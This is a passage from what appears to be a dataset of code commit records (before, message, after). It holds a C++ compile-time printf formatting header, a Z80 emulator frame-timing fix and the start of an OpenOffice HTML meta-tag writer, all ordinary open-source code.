std::remove_pointer<raw_T>::type>::type>::value};\n\n    static constexpr bool is_uint {std::is_unsigned<raw_T>::value};\n    static constexpr bool has_x   {contains<FL, char_t<'x'>>::value};\n\n    using raw_fmt = typename type2fmt<T>::type;\n\n    using uint_x_fmt = typename std::conditional<is_uint && has_x,\n          substitute_t<raw_fmt, char_t<'u'>, char_t<'x'>>,\n          raw_fmt\n        >::type;\n\n    using fmt_type = typename std::conditional<s_fmt && is_str,\n          substitute_t<raw_fmt, char_t<'p'>, char_t<'s'>>,\n          uint_x_fmt\n        >::type;\n\n    using filtered_fl = remove_t<remove_t<FL, char_t<'x'>>, char_t<'s'>>;\n\n    using type = append_t<filtered_fl, fmt_type>;\n};\n\ntemplate <class InList, class OutList, size_t Counter>\nstruct find_brace;\n\ntemplate <class InList, class OutList>\nstruct find_brace<tl<char_t<'}'>, InList>, OutList, 1> {\n    using before = OutList;\n    using after  = InList;\n};\n\ntemplate <char C, class InList, class OutList, size_t N>\nstruct find_brace<tl<char_t<C>, InList>, OutList, N>\n    : public find_brace<InList, append_t<OutList, char_t<C>>, N>\n{\n    static_assert(C != '{', \"Found nested braces: {...{...}...}!\"\n                            \" Maybe you want to mask the outer one?\");\n};\n\ntemplate <class OutList, size_t N>\nstruct find_brace<null_t, OutList, N>\n{\n    static_assert(N + 1 == N, \"Missing } after {.\");\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat;\n\ntemplate <>\nstruct autoformat<null_t, null_t> { using type = null_t; };\n\ntemplate <typename TL>\nstruct autoformat<null_t, TL> {\n    using type = null_t;\n    static_assert(always_false<TL>::value, \"There are more vars than format tokens!\");\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat<tl<char_t<'%'>, tl<char_t<'%'>, SL>>, TL>\n{\n    using type = tl<char_t<'%'>, tl<char_t<'%'>, typename autoformat<SL, TL>::type>>;\n};\n\ntemplate <typename SL, typename T, typename TL>\nstruct autoformat<tl<char_t<'%'>, SL>, tl<T, TL>>\n{\n    using type = tl<char_t<'%'>, typename autoformat<SL, TL>::type>;\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat<tl<char_t<'\\\\'>, tl<char_t<'{'>, SL>>, TL>\n{\n    using type = tl<char_t<'{'>, typename autoformat<SL, TL>::type>;\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat<tl<char_t<'{'>, SL>, TL>\n{\n    using other_brace  = find_brace<SL, null_t, 1>;\n    using format_block = typename other_brace::before;\n    using rest_str     = typename other_brace::after;\n\n    static_assert(!std::is_same<TL, null_t>::value, \"There are more {} than arguments to print\");\n    using T = typename TL::head;\n    using fmt_str = typename format_str<T, format_block>::type;\n\n    using type = tl<char_t<'%'>,\n                    append_t<fmt_str, typename autoformat<rest_str, typename TL::tail>::type>>;\n};\n\ntemplate <typename C, typename SL, typename TL>\nstruct autoformat<tl<C, SL>, TL> {\n    using type = tl<C, typename autoformat<SL, TL>::type>;\n};\n\n\ntemplate <typename StringProvider, typename PtList>\nusing autoformat_t =\n    tl_to_varlist<\n        typename autoformat<string_list_t<StringProvider>, PtList>::type\n    >;\n\ntemplate <typename ... Ts>\nmake_t<Ts...> tie_types(Ts...);\n\n#define AUTOFORMAT(s, ...) \\\n    ({ \\\n        struct strprov { static constexpr const char * const str() { return s; } }; \\\n        using paramtypes = decltype(pprintpp::tie_types(__VA_ARGS__)); \\\n        using af = pprintpp::autoformat_t<strprov, paramtypes>; \\\n        af::str(); \\\n    })\n\n#define pprintf(s, ...) printf(AUTOFORMAT(s, ## __VA_ARGS__), ## __VA_ARGS__);\n\n}\n<commit_msg>Remove unnecessary <tuple> include<commit_after>\/*\n * MIT License\n *\n * Copyright (c) 2016 Jacek Galowicz\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n#pragma once\n\n#include <type_traits>\n#include \"charlist.hpp\"\n\nnamespace pprintpp {\n\ntemplate <typename T> struct always_false { static constexpr bool value {false}; };\n\nusing namespace typelist;\nusing namespace charlist;\n\ntemplate <typename T> struct type2fmt;\n\ntemplate <> struct type2fmt<char>                { using type = char_tl_t<'c'>; };\ntemplate <> struct type2fmt<short>               { using type = char_tl_t<'d'>; };\ntemplate <> struct type2fmt<int>                 { using type = char_tl_t<'d'>; };\ntemplate <> struct type2fmt<long int>            { using type = char_tl_t<'l', 'd'>; };\ntemplate <> struct type2fmt<long long int>       { using type = char_tl_t<'l', 'l', 'd'>; };\ntemplate <> struct type2fmt<unsigned char>       { using type = char_tl_t<'u'>; };\ntemplate <> struct type2fmt<unsigned short>      { using type = char_tl_t<'u'>; };\ntemplate <> struct type2fmt<unsigned>            { using type = char_tl_t<'u'>; };\ntemplate <> struct type2fmt<unsigned long>       { using type = char_tl_t<'l', 'u'>; };\ntemplate <> struct type2fmt<unsigned long long>  { using type = char_tl_t<'l', 'l', 'u'>; };\n\ntemplate <> struct type2fmt<bool>                { using type = char_tl_t<'d'>; };\n\ntemplate <> struct type2fmt<float>  { using type = char_tl_t<'f'>; };\ntemplate <> struct type2fmt<double> { using type = char_tl_t<'l', 'f'>; };\n\ntemplate <> struct type2fmt<std::nullptr_t> { using type = char_tl_t<'p'>; };\ntemplate <typename T> struct type2fmt<T*>   { using type = char_tl_t<'p'>; };\n\ntemplate <typename T, typename FL>\nstruct format_str {\n    using raw_T = typename std::remove_cv<T>::type;\n    static constexpr bool s_fmt {contains<FL, char_t<'s'>>::value};\n    static constexpr bool is_str {std::is_same<char,\n        typename std::remove_cv<\n            typename std::remove_pointer<raw_T>::type>::type>::value};\n\n    static constexpr bool is_uint {std::is_unsigned<raw_T>::value};\n    static constexpr bool has_x   {contains<FL, char_t<'x'>>::value};\n\n    using raw_fmt = typename type2fmt<T>::type;\n\n    using uint_x_fmt = typename std::conditional<is_uint && has_x,\n          substitute_t<raw_fmt, char_t<'u'>, char_t<'x'>>,\n          raw_fmt\n        >::type;\n\n    using fmt_type = typename std::conditional<s_fmt && is_str,\n          substitute_t<raw_fmt, char_t<'p'>, char_t<'s'>>,\n          uint_x_fmt\n        >::type;\n\n    using filtered_fl = remove_t<remove_t<FL, char_t<'x'>>, char_t<'s'>>;\n\n    using type = append_t<filtered_fl, fmt_type>;\n};\n\ntemplate <class InList, class OutList, size_t Counter>\nstruct find_brace;\n\ntemplate <class InList, class OutList>\nstruct find_brace<tl<char_t<'}'>, InList>, OutList, 1> {\n    using before = OutList;\n    using after  = InList;\n};\n\ntemplate <char C, class InList, class OutList, size_t N>\nstruct find_brace<tl<char_t<C>, InList>, OutList, N>\n    : public find_brace<InList, append_t<OutList, char_t<C>>, N>\n{\n    static_assert(C != '{', \"Found nested braces: {...{...}...}!\"\n                            \" Maybe you want to mask the outer one?\");\n};\n\ntemplate <class OutList, size_t N>\nstruct find_brace<null_t, OutList, N>\n{\n    static_assert(N + 1 == N, \"Missing } after {.\");\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat;\n\ntemplate <>\nstruct autoformat<null_t, null_t> { using type = null_t; };\n\ntemplate <typename TL>\nstruct autoformat<null_t, TL> {\n    using type = null_t;\n    static_assert(always_false<TL>::value, \"There are more vars than format tokens!\");\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat<tl<char_t<'%'>, tl<char_t<'%'>, SL>>, TL>\n{\n    using type = tl<char_t<'%'>, tl<char_t<'%'>, typename autoformat<SL, TL>::type>>;\n};\n\ntemplate <typename SL, typename T, typename TL>\nstruct autoformat<tl<char_t<'%'>, SL>, tl<T, TL>>\n{\n    using type = tl<char_t<'%'>, typename autoformat<SL, TL>::type>;\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat<tl<char_t<'\\\\'>, tl<char_t<'{'>, SL>>, TL>\n{\n    using type = tl<char_t<'{'>, typename autoformat<SL, TL>::type>;\n};\n\ntemplate <typename SL, typename TL>\nstruct autoformat<tl<char_t<'{'>, SL>, TL>\n{\n    using other_brace  = find_brace<SL, null_t, 1>;\n    using format_block = typename other_brace::before;\n    using rest_str     = typename other_brace::after;\n\n    static_assert(!std::is_same<TL, null_t>::value, \"There are more {} than arguments to print\");\n    using T = typename TL::head;\n    using fmt_str = typename format_str<T, format_block>::type;\n\n    using type = tl<char_t<'%'>,\n                    append_t<fmt_str, typename autoformat<rest_str, typename TL::tail>::type>>;\n};\n\ntemplate <typename C, typename SL, typename TL>\nstruct autoformat<tl<C, SL>, TL> {\n    using type = tl<C, typename autoformat<SL, TL>::type>;\n};\n\n\ntemplate <typename StringProvider, typename PtList>\nusing autoformat_t =\n    tl_to_varlist<\n        typename autoformat<string_list_t<StringProvider>, PtList>::type\n    >;\n\ntemplate <typename ... Ts>\nmake_t<Ts...> tie_types(Ts...);\n\n#define AUTOFORMAT(s, ...) \\\n    ({ \\\n        struct strprov { static constexpr const char * const str() { return s; } }; \\\n        using paramtypes = decltype(pprintpp::tie_types(__VA_ARGS__)); \\\n        using af = pprintpp::autoformat_t<strprov, paramtypes>; \\\n        af::str(); \\\n    })\n\n#define pprintf(s, ...) printf(AUTOFORMAT(s, ## __VA_ARGS__), ## __VA_ARGS__);\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/  yakc.cc\n\/\/------------------------------------------------------------------------------\n#include \"yakc.h\"\n\nnamespace YAKC {\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::init(const ext_funcs& sys_funcs, const sound_funcs& snd_funcs) {\n    func = sys_funcs;\n    this->cpu_ahead = false;\n    this->cpu_behind = false;\n    this->abs_cycle_count = 0;\n    this->overflow_cycles = 0;\n    this->kc85.init(&this->board);\n    this->z1013.init(&this->board);\n    this->z9001.init(&this->board);\n    this->zx.init(&this->board);\n    this->kc85.audio.setup_callbacks(snd_funcs);\n    this->z9001.setup_sound_funcs(snd_funcs);\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::poweron(device m, os_rom rom) {\n    YAKC_ASSERT(!this->kc85.on && !this->z1013.on);\n    this->clear_daisychain();\n    this->model = m;\n    this->os = rom;\n    this->abs_cycle_count = 0;\n    this->overflow_cycles = 0;\n    if (this->is_device(device::any_kc85)) {\n        this->kc85.poweron(m, rom);\n    }\n    else if (this->is_device(device::any_z1013)) {\n        this->z1013.poweron(m);\n    }\n    else if (this->is_device(device::any_z9001)) {\n        this->z9001.poweron(m, rom);\n    }\n    else if (this->is_device(device::any_zx)) {\n        this->zx.poweron(m);\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::poweroff() {\n    if (this->kc85.on) {\n        this->kc85.poweroff();\n    }\n    if (this->z1013.on) {\n        this->z1013.poweroff();\n    }\n    if (this->z9001.on) {\n        this->z9001.poweroff();\n    }\n    if (this->zx.on) {\n        this->zx.poweroff();\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nbool\nyakc::switchedon() const {\n    return this->kc85.on || this->z1013.on || this->z9001.on || this->zx.on;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::reset() {\n    this->overflow_cycles = 0;\n    if (this->kc85.on) {\n        this->kc85.reset();\n    }\n    if (this->z1013.on) {\n        this->z1013.reset();\n    }\n    if (this->z9001.on) {\n        this->z9001.reset();\n    }\n    if (this->zx.on) {\n        this->zx.reset();\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::clear_daisychain() {\n    this->board.cpu.connect_irq_device(nullptr);\n    this->board.ctc.init_daisychain(nullptr);\n    this->board.pio.int_ctrl.connect_irq_device(nullptr);\n    this->board.pio2.int_ctrl.connect_irq_device(nullptr);\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::on_context_switched() {\n    this->clear_daisychain();\n    if (this->is_device(device::any_kc85)) {\n        this->kc85.on_context_switched();\n    }\n    else if (this->is_device(device::any_z1013)) {\n        this->z1013.on_context_switched();\n    }\n    else if (this->is_device(device::any_z9001)) {\n        this->z9001.on_context_switched();\n    }\n    else if (this->is_device(device::any_zx)) {\n        this->zx.on_context_switched();\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nbool\nyakc::is_device(device mask) const {\n    return 0 != (int(this->model) & int(mask));\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::onframe(int speed_multiplier, int micro_secs, uint64_t min_cycle_count, uint64_t max_cycle_count) {\n    \/\/ FIXME: the speed multiplier isn't currently working because of the min\/max cycle count limiter!\n    YAKC_ASSERT(speed_multiplier > 0);\n    this->cpu_ahead = false;\n    this->cpu_behind = false;\n    if (!this->board.dbg.paused) {\n        \/\/ compute the end-cycle-count for the current frame\n        if (this->abs_cycle_count == 0) {\n            this->abs_cycle_count = min_cycle_count;\n        }\n        const int64_t num_cycles = this->board.clck.cycles(micro_secs*speed_multiplier) - this->overflow_cycles;\n        uint64_t abs_end_cycles = this->abs_cycle_count + num_cycles;\n        if ((max_cycle_count != 0) && (abs_end_cycles > max_cycle_count)) {\n            abs_end_cycles = max_cycle_count;\n            this->cpu_ahead = true;\n        }\n        else if ((min_cycle_count != 0) && (abs_end_cycles < min_cycle_count)) {\n            abs_end_cycles = min_cycle_count;\n            this->cpu_behind = true;\n        }\n        if (this->kc85.on) {\n            this->abs_cycle_count = this->kc85.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        else if (this->z1013.on) {\n            this->abs_cycle_count = this->z1013.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        else if (this->z9001.on) {\n            this->abs_cycle_count = this->z9001.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        else if (this->zx.on) {\n            this->abs_cycle_count = this->zx.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        YAKC_ASSERT(this->abs_cycle_count >= abs_end_cycles);\n        this->overflow_cycles = uint32_t(this->abs_cycle_count - abs_end_cycles);\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::put_key(ubyte ascii) {\n    if (this->kc85.on) {\n        this->kc85.put_key(ascii);\n    }\n    if (this->z1013.on) {\n        this->z1013.put_key(ascii);\n    }\n    if (this->z9001.on) {\n        this->z9001.put_key(ascii);\n    }\n    if (this->zx.on) {\n        this->zx.put_key(ascii);\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nconst char*\nyakc::system_info() const {\n    if (this->kc85.on) {\n        return this->kc85.system_info();\n    }\n    else if (this->z1013.on) {\n        return this->z1013.system_info();\n    }\n    else if (this->z9001.on) {\n        return this->z9001.system_info();\n    }\n    else if (this->zx.on) {\n        return this->zx.system_info();\n    }\n    else {\n        return \"no info available\";\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nz80bus*\nyakc::get_bus() {\n    if (this->is_device(device::any_kc85)) {\n        return &this->kc85;\n    }\n    else if (this->is_device(device::any_z1013)) {\n        return &this->z1013;\n    }\n    else if (this->is_device(device::any_z9001)) {\n        return &this->z9001;\n    }\n    else if (this->is_device(device::any_zx)) {\n        return &this->zx;\n    }\n    else {\n        return nullptr;\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::border_color(float& out_red, float& out_green, float& out_blue) {\n    if (this->z9001.on) {\n        this->z9001.border_color(out_red, out_green, out_blue);\n    }\n    else {\n        out_red = out_green = out_blue = 0.0f;\n    }\n}\n\n} \/\/ namespace YAKC\n<commit_msg>Fixed speedup after debugging when CPU thought it needs to catch up<commit_after>\/\/------------------------------------------------------------------------------\n\/\/  yakc.cc\n\/\/------------------------------------------------------------------------------\n#include \"yakc.h\"\n\nnamespace YAKC {\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::init(const ext_funcs& sys_funcs, const sound_funcs& snd_funcs) {\n    func = sys_funcs;\n    this->cpu_ahead = false;\n    this->cpu_behind = false;\n    this->abs_cycle_count = 0;\n    this->overflow_cycles = 0;\n    this->kc85.init(&this->board);\n    this->z1013.init(&this->board);\n    this->z9001.init(&this->board);\n    this->zx.init(&this->board);\n    this->kc85.audio.setup_callbacks(snd_funcs);\n    this->z9001.setup_sound_funcs(snd_funcs);\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::poweron(device m, os_rom rom) {\n    YAKC_ASSERT(!this->kc85.on && !this->z1013.on);\n    this->clear_daisychain();\n    this->model = m;\n    this->os = rom;\n    this->abs_cycle_count = 0;\n    this->overflow_cycles = 0;\n    if (this->is_device(device::any_kc85)) {\n        this->kc85.poweron(m, rom);\n    }\n    else if (this->is_device(device::any_z1013)) {\n        this->z1013.poweron(m);\n    }\n    else if (this->is_device(device::any_z9001)) {\n        this->z9001.poweron(m, rom);\n    }\n    else if (this->is_device(device::any_zx)) {\n        this->zx.poweron(m);\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::poweroff() {\n    if (this->kc85.on) {\n        this->kc85.poweroff();\n    }\n    if (this->z1013.on) {\n        this->z1013.poweroff();\n    }\n    if (this->z9001.on) {\n        this->z9001.poweroff();\n    }\n    if (this->zx.on) {\n        this->zx.poweroff();\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nbool\nyakc::switchedon() const {\n    return this->kc85.on || this->z1013.on || this->z9001.on || this->zx.on;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::reset() {\n    this->overflow_cycles = 0;\n    if (this->kc85.on) {\n        this->kc85.reset();\n    }\n    if (this->z1013.on) {\n        this->z1013.reset();\n    }\n    if (this->z9001.on) {\n        this->z9001.reset();\n    }\n    if (this->zx.on) {\n        this->zx.reset();\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::clear_daisychain() {\n    this->board.cpu.connect_irq_device(nullptr);\n    this->board.ctc.init_daisychain(nullptr);\n    this->board.pio.int_ctrl.connect_irq_device(nullptr);\n    this->board.pio2.int_ctrl.connect_irq_device(nullptr);\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::on_context_switched() {\n    this->clear_daisychain();\n    if (this->is_device(device::any_kc85)) {\n        this->kc85.on_context_switched();\n    }\n    else if (this->is_device(device::any_z1013)) {\n        this->z1013.on_context_switched();\n    }\n    else if (this->is_device(device::any_z9001)) {\n        this->z9001.on_context_switched();\n    }\n    else if (this->is_device(device::any_zx)) {\n        this->zx.on_context_switched();\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nbool\nyakc::is_device(device mask) const {\n    return 0 != (int(this->model) & int(mask));\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::onframe(int speed_multiplier, int micro_secs, uint64_t min_cycle_count, uint64_t max_cycle_count) {\n    \/\/ FIXME: the speed multiplier isn't currently working because of the min\/max cycle count limiter!\n    YAKC_ASSERT(speed_multiplier > 0);\n    this->cpu_ahead = false;\n    this->cpu_behind = false;\n    \/\/ compute the end-cycle-count for the current frame\n    if (this->abs_cycle_count == 0) {\n        this->abs_cycle_count = min_cycle_count;\n    }\n    const int64_t num_cycles = this->board.clck.cycles(micro_secs*speed_multiplier) - this->overflow_cycles;\n    uint64_t abs_end_cycles = this->abs_cycle_count + num_cycles;\n    if ((max_cycle_count != 0) && (abs_end_cycles > max_cycle_count)) {\n        abs_end_cycles = max_cycle_count;\n        this->cpu_ahead = true;\n    }\n    else if ((min_cycle_count != 0) && (abs_end_cycles < min_cycle_count)) {\n        abs_end_cycles = min_cycle_count;\n        this->cpu_behind = true;\n    }\n    if (!this->board.dbg.paused) {\n        if (this->kc85.on) {\n            this->abs_cycle_count = this->kc85.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        else if (this->z1013.on) {\n            this->abs_cycle_count = this->z1013.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        else if (this->z9001.on) {\n            this->abs_cycle_count = this->z9001.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        else if (this->zx.on) {\n            this->abs_cycle_count = this->zx.step(this->abs_cycle_count, abs_end_cycles);\n        }\n        YAKC_ASSERT(this->abs_cycle_count >= abs_end_cycles);\n        this->overflow_cycles = uint32_t(this->abs_cycle_count - abs_end_cycles);\n    }\n    else {\n        this->abs_cycle_count = abs_end_cycles;\n        this->overflow_cycles = 0;\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::put_key(ubyte ascii) {\n    if (this->kc85.on) {\n        this->kc85.put_key(ascii);\n    }\n    if (this->z1013.on) {\n        this->z1013.put_key(ascii);\n    }\n    if (this->z9001.on) {\n        this->z9001.put_key(ascii);\n    }\n    if (this->zx.on) {\n        this->zx.put_key(ascii);\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nconst char*\nyakc::system_info() const {\n    if (this->kc85.on) {\n        return this->kc85.system_info();\n    }\n    else if (this->z1013.on) {\n        return this->z1013.system_info();\n    }\n    else if (this->z9001.on) {\n        return this->z9001.system_info();\n    }\n    else if (this->zx.on) {\n        return this->zx.system_info();\n    }\n    else {\n        return \"no info available\";\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nz80bus*\nyakc::get_bus() {\n    if (this->is_device(device::any_kc85)) {\n        return &this->kc85;\n    }\n    else if (this->is_device(device::any_z1013)) {\n        return &this->z1013;\n    }\n    else if (this->is_device(device::any_z9001)) {\n        return &this->z9001;\n    }\n    else if (this->is_device(device::any_zx)) {\n        return &this->zx;\n    }\n    else {\n        return nullptr;\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nvoid\nyakc::border_color(float& out_red, float& out_green, float& out_blue) {\n    if (this->z9001.on) {\n        this->z9001.border_color(out_red, out_green, out_blue);\n    }\n    else {\n        out_red = out_green = out_blue = 0.0f;\n    }\n}\n\n} \/\/ namespace YAKC\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: frmhtmlw.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: obo $ $Date: 2005-04-13 12:38:11 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _INETDEF_HXX\n#include <svtools\/inetdef.hxx>\n#endif\n\n\/\/!(dv) #include <chaos2\/cntapi.hxx>\n#ifndef GCC\n#pragma hdrstop\n#endif\n#ifndef _RTL_TENCINFO_H\n#include <rtl\/tencinfo.h>\n#endif\n\n#include <unotools\/configmgr.hxx>\n#include \"svtools\/urihelper.hxx\"\n\n#include \"docinf.hxx\"\n#include \"frmhtmlw.hxx\"\n#include \"evntconf.hxx\"\n#include \"frame.hxx\"\n#include \"app.hxx\"\n#include \"viewfrm.hxx\"\n#include \"docfile.hxx\"\n#include \"sfxresid.hxx\"\n#include \"objsh.hxx\"\n#include \"sfx.hrc\"\n#include \"bastyp.hrc\"\n\n\/\/ -----------------------------------------------------------------------\n\nusing namespace com::sun::star;\n\nextern sal_Char const sHTML_META_classification[];\n\nstatic sal_Char __READONLY_DATA sHTML_SC_yes[] =    \"YES\";\nstatic sal_Char __READONLY_DATA sHTML_SC_no[] =     \"NO\";\nstatic sal_Char __READONLY_DATA sHTML_SC_auto[] =   \"AUTO\";\nstatic sal_Char __READONLY_DATA sHTML_MIME_text_html[] =    \"text\/html; charset=\";\n\nstatic HTMLOutEvent __FAR_DATA aFrameSetEventTable[] =\n{\n    { sHTML_O_SDonload,     sHTML_O_onload,     SFX_EVENT_OPENDOC   },\n    { sHTML_O_SDonunload,   sHTML_O_onunload,   SFX_EVENT_PREPARECLOSEDOC   },\n    { sHTML_O_SDonfocus,    sHTML_O_onfocus,    SFX_EVENT_ACTIVATEDOC   },\n    { sHTML_O_SDonblur,     sHTML_O_onblur,     SFX_EVENT_DEACTIVATEDOC },\n    { 0,                    0,                  0                   }\n};\n\n#if defined(MAC)\nconst sal_Char SfxFrameHTMLWriter::sNewLine[] = \"\\015\";\n#elif defined(UNX)\nconst sal_Char SfxFrameHTMLWriter::sNewLine[] = \"\\012\";\n#else\nconst sal_Char __FAR_DATA SfxFrameHTMLWriter::sNewLine[] = \"\\015\\012\";\n#endif\n\nvoid SfxFrameHTMLWriter::OutMeta( SvStream& rStrm,\n                                  const sal_Char *pIndent,\n                                  const String& rName,\n                                  const String& rContent, BOOL bHTTPEquiv,\n                                     rtl_TextEncoding eDestEnc,\n                                  String *pNonConvertableChars  )\n{\n    rStrm << sNewLine;\n    if( pIndent )\n        rStrm << pIndent;\n\n    ByteString sOut( '<' );\n    (((sOut += sHTML_meta) += ' ')\n        += (bHTTPEquiv ? sHTML_O_httpequiv : sHTML_O_name)) += \"=\\\"\";\n    rStrm << sOut.GetBuffer();\n\n    HTMLOutFuncs::Out_String( rStrm, rName, eDestEnc, pNonConvertableChars );\n\n    ((sOut = \"\\\" \") += sHTML_O_content) += \"=\\\"\";\n    rStrm << sOut.GetBuffer();\n\n    HTMLOutFuncs::Out_String( rStrm, rContent, eDestEnc, pNonConvertableChars ) << \"\\\">\";\n}\n\nvoid SfxFrameHTMLWriter::Out_DocInfo( SvStream& rStrm, const String& rBaseURL,\n                                      const SfxDocumentInfo* pInfo,\n                                      const sal_Char *pIndent,\n                                         rtl_TextEncoding eDestEnc,\n                                  String *pNonConvertableChars  )\n{\n    const sal_Char *pCharSet =\n                rtl_getBestMimeCharsetFromTextEncoding( eDestEnc );\n\n    if( pCharSet )\n    {\n        String aContentType = String::CreateFromAscii( sHTML_MIME_text_html );\n        aContentType.AppendAscii( pCharSet );\n        OutMeta( rStrm, pIndent, sHTML_META_content_type, aContentType, TRUE,\n                  eDestEnc, pNonConvertableChars );\n    }\n\n    \/\/ Titel (auch wenn er leer ist)\n    rStrm << sNewLine;\n    if( pIndent )\n        rStrm << pIndent;\n    HTMLOutFuncs::Out_AsciiTag( rStrm, sHTML_title );\n    if( pInfo  )\n    {\n        const String& rTitle = pInfo->GetTitle();\n        if( rTitle.Len() )\n            HTMLOutFuncs::Out_String( rStrm, rTitle, eDestEnc, pNonConvertableChars );\n    }\n    HTMLOutFuncs::Out_AsciiTag( rStrm, sHTML_title, FALSE );\n\n    \/\/ Target-Frame\n    if( pInfo )\n    {\n        const String& rTarget = pInfo->GetDefaultTarget();\n        if( rTarget.Len() )\n        {\n            rStrm << sNewLine;\n            if( pIndent )\n                rStrm << pIndent;\n\n            ByteString sOut( '<' );\n            (((sOut += sHTML_base) += ' ') += sHTML_O_target) += \"=\\\"\";\n            rStrm << sOut.GetBuffer();\n            HTMLOutFuncs::Out_String( rStrm, rTarget, eDestEnc, pNonConvertableChars )\n                << \"\\\">\";\n        }\n    }\n\n    \/\/ Who we are\n    String sGenerator( SfxResId( STR_HTML_GENERATOR ) );\n    sGenerator.SearchAndReplaceAscii( \"%1\", String( DEFINE_CONST_UNICODE( TOOLS_INETDEF_OS ) ) );\n    OutMeta( rStrm, pIndent, sHTML_META_generator, sGenerator, FALSE, eDestEnc, pNonConvertableChars );\n\n    if( pInfo )\n    {\n        \/\/ Reload\n        if( pInfo->IsReloadEnabled() )\n        {\n            String sContent = String::CreateFromInt32(\n                                (sal_Int32)pInfo->GetReloadDelay() );\n\n            const String &rReloadURL = pInfo->GetReloadURL();\n            if( rReloadURL.Len() )\n            {\n                sContent.AppendAscii( \";URL=\" );\n                sContent += String(\n                    URIHelper::simpleNormalizedMakeRelative(\n                        rBaseURL, 